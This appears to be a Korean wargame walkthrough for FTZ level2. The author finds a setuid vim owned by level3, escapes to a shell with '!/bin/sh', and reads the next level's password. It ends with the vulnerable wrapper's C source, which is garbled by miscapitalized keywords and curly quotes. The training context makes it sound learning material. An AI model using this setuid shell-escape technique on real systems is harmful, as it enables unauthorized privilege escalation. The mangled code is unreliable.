[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
이번에도 같은방법으로 level3의 setuid가 걸린 파일을 찾아보았다
[level2@ftz level2]$ find / -user level3 -perm +4000 2>/dev/null
/usr/bin/editor
다음과 같은 파일이 나왔는데 실행시켜보자
[level2@ftz level2]$ /usr/bin/editor
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
VIM이 나왔다 아까 힌트에서 텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
라고했다
Vim의 기능중 하나인 !를 사용 한다 그러면 vim에서 리눅스 명령어를 실행할 수 있게 된다
쉘의 명령이라 하면 쉘을 실행시키는 것이다 !/bin/sh를 입력한다
그러면 한칸의 공백이 생기고 원래 쉘로 돌아오게 되는데 id를 통해 누구인지 알아보겠다
[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
level3이다 쉘을 땃으므로 my-pass를 통해 비밀번호를 알아본다
[level3@ftz level2]$ my-pass
Level3 Password is "can you fly?".
이로써 level2를 클리어했다
n 16-03-06 /usr/bin/editor hand-ray
#include <stdio.h>
Int main(){
Setreuid(3003,3003);
System(“/bin/vi”);
Return 0;
}
Phantom@TeamH4C